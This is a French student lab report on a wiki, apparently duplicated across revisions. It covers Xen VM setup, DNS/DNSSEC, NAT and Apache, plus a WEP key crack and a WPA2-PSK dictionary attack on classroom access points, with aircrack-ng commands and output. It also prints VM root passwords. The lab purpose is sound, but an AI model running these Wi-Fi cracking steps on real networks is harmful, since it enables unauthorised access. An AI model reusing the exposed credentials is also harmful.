'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

===== Sécurisation WiFi par WPA2-EAP =====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T15:10:42Z

Cpayet : /* Utiles */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT

ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3

==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>
=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T14:59:15Z

Cpayet : /* Cassage WEP */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
